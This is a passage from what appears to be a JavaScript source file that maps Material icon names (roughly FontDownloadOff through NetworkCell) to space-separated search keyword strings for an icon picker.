symbol text typeface',\n  FontDownloadOff:\n    'alphabet character disabled enabled letters slash square symbol text type',\n  FoodBank:\n    'architecture building charity eat estate fork house knife meal place real residence residential shelter utensils',\n  Forest: 'jungle nature plantation plants trees woodland',\n  ForkLeft: 'arrows directions maps navigation path route sign traffic',\n  ForkRight: 'arrows directions maps navigation path route sign traffic',\n  FormatAlignCenter:\n    'alignment doc editing editor lines spreadsheet text type writing',\n  FormatAlignJustify:\n    'alignment density doc editing editor extra lines small spreadsheet text type writing',\n  FormatAlignLeft:\n    'alignment doc editing editor lines spreadsheet text type writing',\n  FormatAlignRight:\n    'alignment doc editing editor lines spreadsheet text type writing',\n  FormatBold:\n    'B alphabet character doc editing editor font letters spreadsheet styles symbol text type writing',\n  FormatClear:\n    'T alphabet character disabled doc editing editor enabled font letters off slash spreadsheet style symbol text type writing',\n  FormatColorFill:\n    'bucket doc editing editor paint spreadsheet style text type writing',\n  FormatColorReset:\n    'clear disabled doc droplet editing editor enabled fill liquid off on paint slash spreadsheet style text type water writing',\n  FormatColorText: 'doc editing editor fill paint spreadsheet style type writing',\n  FormatIndentDecrease:\n    'alignment doc editing editor indentation paragraph spreadsheet text type writing',\n  FormatIndentIncrease:\n    'alignment doc editing editor indentation paragraph spreadsheet text type writing',\n  FormatItalic:\n    'alphabet character doc editing editor font letters spreadsheet style symbol text type writing',\n  FormatLineSpacing: 'alignment doc editing editor spreadsheet text type writing',\n  FormatListBulleted:\n    'alignment doc editing editor notes spreadsheet task text todo type writing',\n  FormatListNumbered:\n    'alignment digit doc editing editor notes numbers spreadsheet symbol task text todo type writing',\n  FormatListNumberedRtl:\n    'alignment digit doc editing editor notes numbers spreadsheet symbol task text todo type writing',\n  FormatOverline:\n    'alphabet character doc editing editor font letters spreadsheet style symbol text type under writing',\n  FormatPaint:\n    'brush color doc editing editor fill paintroller spreadsheet style text type writing',\n  FormatQuote: 'doc editing editor quotation spreadsheet text type writing',\n  FormatShapes:\n    'alphabet character color doc editing editor fill font insert letters paint spreadsheet style symbol text type vector writing',\n  FormatSize:\n    'alphabet character color doc editing editor fill font letters paint spreadsheet style symbol text type writing',\n  FormatStrikethrough:\n    'alphabet character doc editing editor font letters spreadsheet style symbol text type writing',\n  FormatTextdirectionLToR:\n    'alignment doc editing editor ltr paragraph spreadsheet type writing',\n  FormatTextdirectionRToL:\n    'alignment doc editing editor ltr paragraph rtl spreadsheet type writing',\n  FormatUnderlined:\n    'alphabet character doc editing editor font letters spreadsheet style symbol text type writing',\n  Fort: 'castle fortress mansion palace',\n  Forum:\n    'bubble chat comment communicate community conversation feedback hub messages speech talk',\n  Forward: 'arrow mail message playback right sent',\n  Forward10:\n    'arrow circle controls digit fast music numbers play rotate seconds speed symbol time video',\n  Forward30:\n    'arrow circle controls digit fast music numbers rotate seconds speed symbol time video',\n  Forward5:\n    '10 arrow circle controls digit fast music numbers rotate seconds speed symbol time video',\n  ForwardToInbox:\n    'arrows directions email envelop letters message navigation outgoing right send',\n  Foundation:\n    'architecture base basis building construction estate home house real residential',\n  FourGMobiledata:\n    'alphabet cellular character digit font letters network numbers phone signal speed symbol text type wifi',\n  FourGPlusMobiledata:\n    'alphabet cellular character digit font letters network numbers phone signal speed symbol text type wifi',\n  FourK:\n    '4000 4K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  FourKPlus:\n    '+ 4000 4K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  FourMp:\n    'camera digit font image letters megapixels numbers quality resolution symbol text type',\n  FourteenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  FreeBreakfast: 'beverage cafe coffee cup drink mug tea',\n  FreeCancellation:\n    'approve calendar check clear complete day done event exit mark month no ok remove schedule select stop tick validate verified yes',\n  FrontHand: 'fingers gesture hello palm stop',\n  Fullscreen: 'adjust application components interface size ui ux view website',\n  FullscreenExit: 'adjust application components interface size ui ux view website',\n  Functions:\n    'average calculate count custom doc editing editor math sigma spreadsheet style sum text type writing',\n  Gamepad: 'buttons console controller device gaming playstation video',\n  Games:\n    'adjust arrows controller direction dpad gaming left move nintendo playstation right xbox',\n  Garage: 'automobile automotive cars direction maps transportation travel vehicle',\n  GasMeter: 'droplet energy measure nest usage water',\n  Gavel:\n    'agreement contract court document government hammer judge law mallet official police rules terms',\n  GeneratingTokens:\n    'access api artificial automatic automation coin custom genai intelligence magic smart sparkle star',\n  Gesture: 'doodle drawing finger gestures hand line motion scribble string thread',\n  GetApp: 'arrows downloads export install play pointing retrieve upload',\n  Gif: 'alphabet animated animation bitmap character font format graphics interchange letters symbol text type',\n  GifBox:\n    'alphabet animated animation bitmap character font format graphics interchange letters symbol text type',\n  Girl: 'body female gender human lady people person social symbol woman women',\n  Gite: 'architecture estate home hostel house maps place real residence residential stay traveling',\n  GitHub: 'brand code',\n  GMobiledata: 'alphabet character font letters network service symbol text type',\n  GolfCourse:\n    'athlete athletic ball club entertainment flag golfer golfing hobby hole places putt sports',\n  Google: 'brand logo',\n  GppBad:\n    'cancel certified close error exit no privacy private protection remove security shield sim stop verified',\n  GppGood: 'certified check ok pass security shield sim tick',\n  GppMaybe:\n    '! alert attention caution certified danger error exclamation important mark notification privacy private protection security shield sim symbol verified warning',\n  GpsFixed: 'destination direction location maps pin place pointer stop tracking',\n  GpsNotFixed:\n    'destination direction disabled enabled fixed location maps not off online place pointer slash tracking',\n  GpsOff:\n    'destination direction disabled enabled fixed location maps not offline place pointer slash tracking',\n  Grade:\n    '. achievement favorite_news important likes marked rated rating reward saved shape special star_border_purple500 star_outline',\n  Gradient: 'color editing effect filter images photography pictures',\n  Grading:\n    'approve check complete document done feedback grade mark ok reviewed select star_boarder star_border_purple500 star_outline star_purple500 star_rate tick validate verified writing yes',\n  Grain: 'dots editing effect filter images photography pictures',\n  GraphicEq: 'audio detection equalizer music noise recording sound voice',\n  Grass: 'backyard fodder ground home lawn plant turf',\n  Grid3x3: 'layout line space',\n  Grid4x4: 'by layout lines space',\n  GridGoldenratio: 'layout lines space',\n  GridOff: 'collage disabled enabled image layout on slash view',\n  GridOn: 'background collage disabled enabled image layout off sheet slash view',\n  GridView:\n    'application blocks components dashboard design interface layout screen square tiles ui ux website window',\n  Group:\n    'accounts committee face family friends humans network people persons profiles social team users',\n  GroupAdd:\n    'accounts committee face family friends humans increase more network people persons plus profiles social team users',\n  GroupOff:\n    'body club collaboration crowd gathering human meeting people person social teams',\n  GroupRemove:\n    'accounts committee face family friends humans network people persons profiles social team users',\n  Groups:\n    'body club collaboration crowd gathering human meeting people person social teams',\n  Groups2:\n    'body club collaboration crowd gathering hair human meeting people person social teams',\n  Groups3:\n    'abstract body club collaboration crowd gathering human meeting people person social teams',\n  GroupWork: 'alliance circle collaboration film partnership reel teamwork together',\n  GTranslate: 'emblem google language logo mark speaking speech translator words',\n  Hail: 'body human people person pick public stop taxi transportation',\n  Handshake: 'agreement partnership',\n  Handyman: 'build construction fix hammer repair screwdriver tools',\n  Hardware: 'break construction hammer nail repair tool',\n  Hd: 'alphabet character codec definition display font high letters movies quality resolution screen symbol text tv type video',\n  HdrAuto:\n    'A alphabet camera character circle dynamic font high letters photo range symbol text type',\n  HdrAutoSelect:\n    '+ A alphabet camera character circle dynamic font high letters photo range symbol text type',\n  HdrEnhancedSelect:\n    'add alphabet character dynamic font high letters plus range symbol text type',\n  HdrOff:\n    'alphabet character disabled dynamic enabled enhance font high letters range select slash symbol text type',\n  HdrOffSelect:\n    'alphabet camera character circle disabled dynamic enabled font high letters photo range slash symbol text type',\n  HdrOn:\n    'add alphabet character dynamic enhance font high letters plus range select symbol text type',\n  HdrOnSelect:\n    '+ alphabet camera character circle dynamic font high letters photo range symbol text type',\n  HdrPlus:\n    '+ add alphabet character circle dynamic enhance font high letters range select symbol text type',\n  HdrStrong: 'circles dots dynamic enhance high range',\n  HdrWeak: 'circles dots dynamic enhance high range',\n  Headphones: 'accessory audio device earphone headset listen music sound',\n  HeadphonesBattery:\n    'accessory audio charging device earphone headset listen music sound',\n  Headset:\n    'accessory audio device earbuds earmuffs earphone headphones listen music sound',\n  HeadsetMic:\n    'accessory audio chat device earphone headphones listen music sound talk',\n  HeadsetOff:\n    'accessory audio chat device disabled earphone enabled headphones listen mic music mute slash sound talk',\n  Healing: 'bandage bandaid editing emergency fix health hospital image medicine',\n  HealthAndSafety:\n    '+ add certified cross home nest plus privacy private protection security shield symbol verified',\n  Hearing:\n    'accessibility accessible aids body handicap hearing help human impaired listen mono sound volume',\n  HearingDisabled:\n    'accessibility accessible aid enabled handicap help impaired listen mute off on slash sound volume',\n  HeartBroken: 'break core crush health nucleus split',\n  HeatPump: 'air conditioner cool energy furnance nest usage',\n  Height:\n    'arrows color doc down editing editor fill format paint resize spreadsheet stretch style text type up writing',\n  Help: '? alert announcement assistance circle information mark punctuation question recent restore shape support symbol',\n  HelpCenter:\n    '? assistance information mark punctuation question recent restore support symbol',\n  HelpOutline:\n    '? alert announcement assistance circle information mark punctuation question recent restore shape support symbol',\n  Hevc: 'alphabet character coding efficiency font high letters symbol text type video',\n  Hexagon: 'shape sides six',\n  HideImage: 'disabled enabled landscape mountains off on photography picture slash',\n  HideSource: 'circle disabled enabled offline on shape slash',\n  Highlight:\n    'color doc editing editor emphasize fill flashlight format marker paint spreadsheet style text type writing',\n  HighlightAlt: 'arrow box click cursor draw focus pointer selection target',\n  HighlightOff:\n    'cancel circle clear click close delete disable exit focus no quit remove stop target times',\n  HighQuality:\n    'alphabet character definition display font hq letters movies resolution screen symbol text tv type',\n  Hiking:\n    'backpacking bag climbing duffle mountain social sports stick trail travel walking',\n  History:\n    'arrow backwards clock date device home nest refresh renew reset restore reverse revert rotate schedule time turn undo',\n  HistoryEdu:\n    'document education feather letters paper pen quill school tools write writing',\n  HistoryToggleOff: 'clock dashed date schedule time',\n  Hive: 'bee honeycomb',\n  Hls: 'alphabet character developer engineering font letters platform symbol text type',\n  HlsOff:\n    '[offline] alphabet character developer disabled enabled engineering font letters platform slash symbol text type',\n  HMobiledata: 'alphabet character font letters network service symbol text type',\n  HolidayVillage:\n    'architecture beach camping cottage estate home house lake lodge maps place real residence residential stay traveling vacation',\n  Home: 'address application--house architecture building components design estate homepage interface layout place real residence residential screen shelter structure unit ux website window',\n  HomeMax: 'device gadget hardware internet iot nest smart things',\n  HomeMini: 'Internet device gadget hardware iot nest smart things',\n  HomeRepairService: 'equipment fix kit mechanic repairing toolbox tools workshop',\n  HomeWork:\n    'architecture building estate house office place real residence residential shelter',\n  HorizontalRule: 'gmail line novitas',\n  HorizontalSplit: 'bars format layout lines stacked',\n  Hotel: 'bed body human people person sleep stay travel trip',\n  HotelClass:\n    'achievement bookmark favorite highlight important marked ranking rate rating reward saved shape special star',\n  HotTub:\n    'bathing bathroom bathtub hotel human jacuzzi person shower spa steam travel water',\n  HourglassBottom: 'countdown half loading minutes time waiting',\n  HourglassDisabled:\n    'clock countdown empty enabled loading minutes off on slash time waiting',\n  HourglassEmpty: 'countdown full loading minutes start time waiting',\n  HourglassFull: 'countdown empty loading minutes time waiting',\n  HourglassTop: 'countdown half loading minutes time waiting',\n  House:\n    'architecture building estate family homepage places real residence residential shelter',\n  Houseboat:\n    'architecture beach estate floating home maps place real residence residential sea stay traveling vacation',\n  HouseSiding:\n    'architecture building construction estate exterior facade home real residential',\n  HowToReg:\n    'approve ballot check complete done election mark ok poll register registration select tick to validate verified vote yes',\n  HowToVote: 'ballot election poll',\n  HPlusMobiledata:\n    '+ alphabet character font letters network service symbol text type',\n  Html: 'alphabet brackets character code css developer engineering font letters platform symbol text type',\n  Http: 'alphabet character font internet letters network symbol text transfer type url website',\n  Https:\n    'connection encrypt internet key locked network password privacy private protection safety secure security ssl web',\n  Hub: 'center connection core focal network nodes nucleus point topology',\n  Hvac: 'air conditioning heating ventilation',\n  Icecream: 'dessert food snack',\n  IceSkating:\n    'athlete athletic entertainment exercise hobby shoe skates social sports travel',\n  Image:\n    'disabled enabled frame hide landscape mountains off on photography picture slash',\n  ImageAspectRatio: 'photography picture rectangle square',\n  ImageNotSupported:\n    'disabled enabled landscape mountains off on photography picture slash',\n  ImageSearch:\n    'find glass landscape look magnifying mountains photography picture see',\n  ImagesearchRoller: 'art paint',\n  ImportantDevices:\n    'Android cell computer desktop hardware iOS mobile monitor phone star tablet web',\n  ImportContacts: 'address book friends information magazine open',\n  ImportExport: 'arrows direction down explort up',\n  Inbox: 'archive category email incoming message',\n  IncompleteCircle: 'chart',\n  IndeterminateCheckBox:\n    'application button components control design form interface minus screen selected selection square toggle ui undetermined ux website',\n  Info: 'about alert announcement announcment assistance bubble circle details help information service support',\n  Input: 'arrow box download login move right',\n  InsertChart:\n    'analytics barchart bars data diagram infographic measure metrics statistics tracking',\n  InsertChartOutlined:\n    'analytics bars data diagram infographic measure metrics statistics tracking',\n  InsertComment: 'add bubble chat feedback message',\n  InsertDriveFile: 'bill document format invoice item sheet slide',\n  InsertEmoticon:\n    'account emoji face happy human like people person profile sentiment smiley user',\n  InsertInvitation:\n    'agenda calendar date event mark month range remember reminder today week',\n  InsertLink: 'add anchor attach clip file mail media',\n  InsertPageBreak: 'dashed document file paper',\n  InsertPhoto: 'image landscape mountains photography picture wallpaper',\n  Insights:\n    'analytics artificial automatic automation bars chart custom data diagram genai infographic intelligence magic measure metrics smart sparkle stars statistics tracking',\n  Instagram: 'brand logo social',\n  InstallDesktop:\n    'Android chrome device display fix hardware iOS mac monitor place pwa screen web window',\n  InstallMobile: 'Android cell device hardware iOS phone pwa tablet',\n  IntegrationInstructions:\n    'brackets clipboard code css developer document engineering html platform',\n  Interests: 'circle heart shapes social square triangle',\n  InterpreterMode:\n    'accounts committee dictation face family friends group hearing humans keyboard language microphone network noise people persons profiles recorder social sound speaker speaking symbol team users voice',\n  Inventory:\n    'archive box buy check clipboard document e-commerce file list organize packages product purchase shop stock store supply',\n  Inventory2: 'archive box file organize packages product stock storage supply',\n  InvertColors: 'droplet editing hue inverted liquid palette tone water',\n  InvertColorsOff:\n    'disabled droplet enabled hue inverted liquid offline opacity palette slash tone water',\n  IosShare:\n    'arrows button direction export internet link send sharing social up website',\n  Iron: 'appliance clothes electric ironing machine object',\n  Iso: 'add editing effect image minus photography picture plus sensor shutter speed subtract',\n  Javascript:\n    'alphabet brackets character code css developer engineering font html letters platform symbol text type',\n  JoinFull: 'circle combine command left outer outter overlap right sql',\n  JoinInner: 'circle command matching overlap sql values',\n  JoinLeft: 'circle command matching overlap sql values',\n  JoinRight: 'circle command matching overlap sql values',\n  Kayaking:\n    'athlete athletic body canoe entertainment exercise hobby human lake paddle paddling people person rafting river row social sports summer travel water',\n  KebabDining: 'dinner food meal meat skewer',\n  Key: 'access blackout door entry password restricted secret unlock',\n  Keyboard: 'computer device hardware input keypad letters office text type',\n  KeyboardAlt: 'computer device hardware input keypad letters office text type',\n  KeyboardArrowDown: 'arrows chevron open',\n  KeyboardArrowLeft: 'arrows chevron',\n  KeyboardArrowRight: 'arrows chevron open start',\n  KeyboardArrowUp: 'arrows chevron collapse direction expandable less list submit',\n  KeyboardBackspace: 'arrow left',\n  KeyboardCapslock: 'arrow up',\n  KeyboardCommandKey: 'button command control key',\n  KeyboardControlKey: 'control key',\n  KeyboardDoubleArrowDown: 'arrows direction multiple navigation',\n  KeyboardDoubleArrowLeft: 'arrows direction multiple navigation',\n  KeyboardDoubleArrowRight: 'arrows direction multiple navigation',\n  KeyboardDoubleArrowUp: 'arrows direction multiple navigation',\n  KeyboardHide: 'arrow computer device down hardware input keypad text',\n  KeyboardOptionKey: 'alt key modifier',\n  KeyboardReturn: 'arrow back left',\n  KeyboardTab: 'arrow left next right',\n  KeyboardVoice: 'dictation hearing microphone noise recorder sound speaker',\n  KeyOff: '[offline] access disabled door enabled entry on password slash unlock',\n  KingBed:\n    'bedroom double furniture home hotel house night pillows queen rest sleep',\n  Kitchen:\n    'appliance cabinet cold food freezer fridge home house ice places refrigerator storage',\n  Kitesurfing:\n    'athlete athletic beach body entertainment exercise hobby human people person social sports travel water',\n  Label: 'badge favorite indent item library mail remember save stamp sticker tag',\n  LabelImportant:\n    'badge chevron favorite flag important. indent item library mail remember right save stamp sticker tag wing',\n  LabelOff:\n    'disabled enabled favorite indent library mail on remember save slash stamp sticker tag wing',\n  Lan: 'computer connection data internet network service',\n  Landscape: 'image mountains nature photography picture',\n  Landslide: 'crisis disaster natural rain storm weather',\n  Language: 'country earth globe i18n internet l10n planet website world www',\n  Laptop:\n    'Android chrome computer connect desktop device display hardware iOS link mac monitor smart tv web windows',\n  LaptopChromebook:\n    'Android chromebook device display hardware iOS mac monitor screen web window',\n  LaptopMac:\n    'Android apple chrome device display hardware iOS monitor screen web window',\n  LaptopWindows: 'Android chrome device display hardware iOS mac monitor screen web',\n  LastPage:\n    'application arrow chevron components end forward interface right screen ui ux website',\n  Launch:\n    'application arrow box components core interface internal link new open screen ui ux website window',\n  Layers: 'arrange disabled enabled interaction maps off overlay pages slash stack',\n  LayersClear:\n    'arrange delete disabled enabled interaction maps off overlay pages slash',\n  Leaderboard:\n    'analytics bars chart data diagram infographic measure metrics statistics tracking',\n  LeakAdd: 'connection data link network service signals synce wireless',\n  LeakRemove:\n    'connection data disabled enabled link network offline service signals slash synce wireless',\n  LegendToggle:\n    'analytics chart data diagram infographic measure metrics monitoring stackdriver statistics tracking',\n  Lens: 'angle circle eye fish full geometry image moon panorama photography picture wide',\n  LensBlur: 'camera dim dot effect foggy fuzzy image photo soften',\n  LibraryAdd:\n    '+ collection layers multiple music new plus save stacked symbol video',\n  LibraryAddCheck:\n    'approve collection complete done layers mark multiple music ok select stacked tick validate verified video yes',\n  LibraryBooks: 'add album audio collection reading',\n  LibraryMusic: 'add album audio collection song sounds',\n  Light: 'bulb ceiling hanging inside interior lamp lighting pendent room',\n  Lightbulb:\n    'alert announcement idea incandescent information learning led mode tip',\n  LightbulbCircle: 'alert announcement idea incandescent information led tip',\n  LightMode: 'brightness day device lighting morning mornng sky sunny',\n  LinearScale:\n    'application components design interface layout measure menu screen slider ui ux website window',\n  LineAxis: 'dash horizontal stroke vertical',\n  LineStyle: 'dash dotted editor rule spacing',\n  LineWeight: 'editor height size spacing style thickness',\n  Link: 'anchor chain clip connection external hyperlink linked links multimedia unlisted url',\n  LinkedCamera: 'connection lens network photography picture signals sync wireless',\n  LinkedIn: 'brand logo social',\n  LinkOff:\n    'anchor attached chain clip connection disabled enabled linked links multimedia slash unlink url',\n  Liquor: 'alcohol bar bottle club cocktail drink food party store wine',\n  List: 'editor file format index menu options playlist task todo',\n  ListAlt: 'box contained editor format lines reorder sheet stacked task title todo',\n  LiveHelp:\n    '? alert announcement assistance bubble chat comment communicate faq information mark message punctuation question recent restore speech support symbol',\n  LiveTv:\n    'Android antennas chrome desktop device hardware iOS mac monitor movie play stream television web window',\n  Living:\n    'chair comfort couch decoration furniture home house lounging loveseat room seating sofa',\n  LocalActivity: 'event star things ticket',\n  LocalAirport: 'airplane flight flying transportation travel trip',\n  LocalAtm:\n    'bill card cart cash coin commerce credit currency dollars financial money online payment price profit shopping symbol',\n  LocalBar: 'alcohol bottle club cocktail drink food liquor martini wine',\n  LocalCafe: 'bottle coffee cup drink food mug restaurant tea',\n  LocalCarWash: 'automobile cars maps transportation travel vehicle',\n  LocalConvenienceStore:\n    '-- 24 bill building business card cash coin commerce company credit currency dollars maps market money new online payment plus shopping storefront symbol',\n  LocalDining: 'cutlery eat food fork knife meal restaurant spoon',\n  LocalDrink: 'cup droplet glass liquid park water',\n  LocalFireDepartment: '911 climate firefighter flame heat home hot nest thermostat',\n  LocalFlorist: 'flower shop',\n  LocalGasStation: 'auto car filling fuel gasoline oil station vehicle',\n  LocalGroceryStore: 'market shop',\n  LocalHospital: '911 aid cross doctor emergency first health medical medicine plus',\n  LocalHotel: 'bed body human people person sleep stay travel trip',\n  LocalLaundryService: 'cleaning clothing dryer hotel washer',\n  LocalLibrary: 'book community learning person read',\n  LocalMall:\n    'bill building business buy card cart cash coin commerce credit currency dollars handbag money online payment shopping storefront',\n  LocalOffer: 'deal discount price shopping store tag',\n  LocalParking:\n    'alphabet auto car character font garage letters symbol text type vehicle',\n  LocalPharmacy: '911 aid cross emergency first food hospital medicine places',\n  LocalPhone: 'booth call telecommunication',\n  LocalPizza: 'drink fastfood meal',\n  LocalPolice: '911 badge law officer protection security shield',\n  LocalPostOffice:\n    'delivery email envelop letters message package parcel postal send stamp',\n  LocalPrintshop: 'draft fax ink machine office paper printer send',\n  LocalSee: 'camera lens photography picture',\n  LocalShipping:\n    'automobile cars delivery letters mail maps office package parcel postal semi send shopping stamp transportation truck vehicle',\n  LocalTaxi:\n    'automobile cab call cars direction lyft maps public transportation uber vehicle yellow',\n  LocationCity:\n    'apartments architecture buildings business company estate home landscape place real residence residential shelter town urban',\n  LocationDisabled:\n    'destination direction enabled maps off pin place pointer slash stop tracking',\n  LocationOff:\n    'destination direction disabled enabled gps maps pin place room slash stop',\n  LocationOn:\n    'destination direction disabled enabled gps maps off pin place room slash stop',\n  LocationSearching: 'destination direction maps pin place pointer stop tracking',\n  Lock: 'connection key locked logout padlock password privacy private protection safety secure security signout',\n  LockClock:\n    'date locked password privacy private protection safety schedule secure security time',\n  LockOpen:\n    'connection key login padlock password privacy private protection register safety secure security signin signup unlocked',\n  LockReset:\n    'around inprogress loading locked password privacy private protection refresh renew rotate safety secure security turn',\n  Login:\n    'access application arrow components design enter interface left screen ui ux website',\n  LogoDev: 'dev.to',\n  Logout:\n    'application arrow components design exit interface leave login right screen ui ux website',\n  Looks: 'circle half rainbow',\n  Looks3: 'digit numbers square symbol',\n  Looks4: 'digit numbers square symbol',\n  Looks5: 'digit numbers square symbol',\n  Looks6: 'digit numbers square symbol',\n  LooksOne: '1 digit numbers square symbol',\n  LooksTwo: '2 digit numbers square symbol',\n  Loop: 'around arrows direction inprogress loader loading music navigation refresh renew repeat rotate turn',\n  Loupe: '+ add details focus glass magnifying new plus symbol',\n  LowPriority: 'arrange arrow backward bottom list move order task todo',\n  Loyalty:\n    'badge benefits card credit heart love membership miles points program sale subscription tag travel trip',\n  LteMobiledata:\n    'alphabet character font internet letters network speed symbol text type wifi wireless',\n  LtePlusMobiledata:\n    '+ alphabet character font internet letters network speed symbol text type wifi wireless',\n  Luggage: 'airport baggage carry flight hotel on suitcase travel trip',\n  LunchDining: 'breakfast dinner drink fastfood hamburger meal',\n  Lyrics:\n    'audio bubble chat comment communicate feedback key message music note song sound speech track',\n  MacroOff: '[offline] camera disabled enabled flower garden image on slash',\n  Mail: 'email envelope inbox letters message send',\n  MailLock:\n    'email envelop letters locked message password privacy private protection safety secure security send',\n  MailOutline: 'email envelope letters message note post receive send write',\n  Male: 'boy gender man social symbol',\n  Man: 'boy gender male social symbol',\n  Man2: 'boy gender male social symbol',\n  Man3: 'abstract boy gender male social symbol',\n  Man4: 'abstract boy gender male social symbol',\n  ManageAccounts:\n    'change details face gear options people person profile service-human settings user',\n  ManageHistory:\n    'application arrow backwards change clock date details gear options refresh renew reverse rotate schedule settings time turn',\n  ManageSearch: 'glass history magnifying text',\n  Map: 'destination direction location maps pin place route stop travel',\n  MapsHomeWork: 'building house office',\n  MapsUgc:\n    '+ add bubble comment communicate feedback message new plus speech symbol',\n  Margin: 'design dots layout padding size square',\n  MarkAsUnread: 'envelop letters mail postal receive send',\n  MarkChatRead:\n    'approve bubble check comment communicate complete done message ok select sent speech tick verified yes',\n  MarkChatUnread:\n    'alarm alert bubble circle comment communicate dot message notifications notify reminder speech',\n  MarkEmailRead:\n    'approve check complete done envelop letters message note ok select send sent tick yes',\n  MarkEmailUnread: 'check circle envelop letters message note notification send',\n  Markunread: 'email envelope letters message send',\n  MarkUnreadChatAlt:\n    'alarm alert bubble circle comment communicate dot message notifications notify reminder speech',\n  MarkunreadMailbox: 'deliver envelop letters postal postbox receive send',\n  Masks:\n    'air cover covid face hospital medical pollution protection respirator sick social',\n  Maximize:\n    'application components design interface line screen shape ui ux website',\n  MediaBluetoothOff:\n    'connection connectivity device disabled enabled music note offline paring signal slash symbol wireless',\n  MediaBluetoothOn:\n    'connection connectivity device disabled enabled music note off online paring signal slash symbol wireless',\n  Mediation:\n    'alternative arrows compromise direction dots negotiation party right structure',\n  MedicalInformation: 'badge card health identification services',\n  MedicalServices: 'aid bag briefcase emergency first kit medicine',\n  Medication: 'doctor drug emergency hospital medicine pharmacy pills prescription',\n  MedicationLiquid:\n    '+ bottle doctor drug health hospital medications medicine pharmacy spoon vessel',\n  MeetingRoom:\n    'building doorway entrance home house interior logout office open places signout',\n  Memory: 'card chip digital micro processor sd storage',\n  Menu: 'application components hamburger interface lines playlist screen ui ux website',\n  MenuBook: 'dining food meal page restaurant',\n  MenuOpen:\n    'application arrow chevron components hamburger interface left lines screen ui ux website',\n  Merge: 'arrows directions maps navigation path route sign traffic',\n  MergeType: 'arrow combine direction format text',\n  Message: 'bubble chat comment communicate feedback speech talk text',\n  Mic: 'dictation hearing keyboard microphone noise recorder search sound speaker speech voice',\n  MicExternalOff: 'audio disabled enabled microphone slash sound voice',\n  MicExternalOn: 'audio disabled enabled microphone off slash sound voice',\n  MicNone:\n    'dictation hearing keyboard microphone noise recorder sound speaker voice',\n  MicOff:\n    'audio disabled enabled hearing microphone mute noise recording slash sound voice',\n  Microwave: 'appliance cooking electric heat home house kitchen machine',\n  MilitaryTech:\n    'army award badge honor medal merit order privilege prize rank reward ribbon soldier star status trophy winner',\n  Minimize:\n    'application components design interface line screen shape ui ux website',\n  MinorCrash:\n    'accident automobile cars collision directions maps public transportation vehicle',\n  MissedVideoCall:\n    'arrow camera filming hardware image motion picture record videography',\n  Mms: 'bubble chat comment communicate feedback image landscape message mountains multimedia photography picture speech',\n  MobiledataOff:\n    'arrow disabled down enabled internet network on slash speed up wifi wireless',\n  MobileFriendly:\n    'Android approve cell check complete device done hardware iOS mark ok phone select tablet tick validate verified yes',\n  MobileOff:\n    'Android cell device disabled enabled hardware iOS phone silence slash tablet',\n  MobileScreenShare:\n    'Android arrow cell device hardware iOS mirror monitor phone screencast streaming tablet tv wireless',\n  Mode: 'compose create draft draw edit pencil write',\n  ModeComment: 'bubble chat comment communicate feedback message mode speech',\n  ModeEdit: 'compose create draft draw pencil write',\n  ModeEditOutline: 'compose create draft draw pencil write',\n  ModeFanOff: 'air conditioner cool disabled enabled nest slash',\n  ModelTraining:\n    'arrow bulb idea inprogress light loading refresh renew restore reverse rotate',\n  ModeNight: 'dark disturb lunar moon sleep weather',\n  ModeOfTravel:\n    'arrow destination direction location maps pin place stop transportation trip',\n  ModeStandby: 'disturb power sleep target',\n  MonetizationOn:\n    'bill card cash circle coin commerce cost credit currency dollars finance money online payment price profit sale shopping symbol',\n  Money:\n    '100 bill card cash coin commerce cost credit currency digit dollars finance numbers online payment price profit shopping symbol',\n  MoneyOff:\n    'bill card cart cash coin commerce credit currency disabled dollars enabled finance money online payment price profit shopping slash symbol',\n  MoneyOffCsred:\n    'bill card cart cash coin commerce credit currency disabled dollars enabled online payment shopping slash symbol',\n  Monitor: 'Android chrome device display hardware iOS mac screen web window',\n  MonitorHeart: 'baseline device ecc ecg fitness health medical track',\n  MonitorWeight: 'body device diet health scale smart',\n  MonochromePhotos: 'black camera image photography picture white',\n  Mood: 'emoji emoticon emotions expressions face feelings glad happiness happy like person pleased smiley smiling social survey',\n  MoodBad:\n    'disappointment dislike emoji emoticon emotions expressions face feelings person rating smiley social survey unhappiness unhappy unpleased unsmile unsmiling',\n  Moped:\n    'automobile bike cars direction maps motorized public scooter transportation vehicle vespa',\n  More: '3 archive badge bookmark dots etc favorite indent label remember save stamp sticker tab tag three',\n  MoreHoriz:\n    '3 DISABLE_IOS application components disable_ios dots etc horizontal interface pending screen status three ui ux website',\n  MoreTime: '+ add clock date new plus schedule symbol',\n  MoreVert:\n    '3 DISABLE_IOS android application components disable_ios dots etc interface screen three ui ux vertical website',\n  Mosque: 'ideology islamic masjid muslim religion spiritual worship',\n  MotionPhotosAuto:\n    'A alphabet animation automatic character circle font gif letters live symbol text type video',\n  MotionPhotosOff: 'animation circle disabled enabled slash video',\n  Mouse: 'click computer cursor device hardware wireless',\n  MoveDown: 'arrow direction jump navigation transfer',\n  MoveToInbox:\n    'archive arrow down email envelop incoming letters message move send to',\n  MoveUp: 'arrow direction jump navigation transfer',\n  Movie: 'cinema film media screen show slate tv video watch',\n  MovieCreation: 'cinema clapperboard film movies slate video',\n  MovieFilter:\n    'artificial automatic automation clapperboard creation custom film genai intelligence magic movies slate smart sparkle stars video',\n  Moving: 'arrow direction navigation travel up',\n  Mp: 'alphabet character font image letters megapixel photography pixels quality resolution symbol text type',\n  MultilineChart:\n    'analytics bars data diagram infographic line measure metrics multiple statistics tracking',\n  MultipleStop: 'arrows dashed directions dots left maps navigation right',\n  Museum:\n    'architecture attraction building estate event exhibition explore local palces places real see shop store tour',\n  MusicNote: 'audiotrack key sound',\n  MusicOff: 'audiotrack disabled enabled key mute note on slash sound',\n  MusicVideo: 'band mv recording screen tv watch',\n  MyLocation: 'destination direction maps navigation pin place point stop',\n  Nat: 'communication',\n  Nature: 'forest outdoor outside park tree wilderness',\n  NaturePeople:\n    'activity body forest human landscape outdoor outside park person tree wilderness',\n  NavigateBefore: 'arrows direction left',\n  NavigateNext: 'arrows direction right',\n  Navigation: 'arrow destination direction location maps pin place point stop',\n  NearbyError:\n    '! alert attention caution danger exclamation important mark notification symbol warning',\n  NearbyOff: 'disabled enabled on slash',\n  NearMe:\n    'arrow destination direction location maps navigation pin place point stop',\n  NearMeDisabled:\n    'destination direction enabled location maps navigation off pin place point slash',\n  NestCamWiredStand: 'camera filming hardware image motion picture videography',\n  NetworkCell: 'cellular data internet mobile phone speed wifi 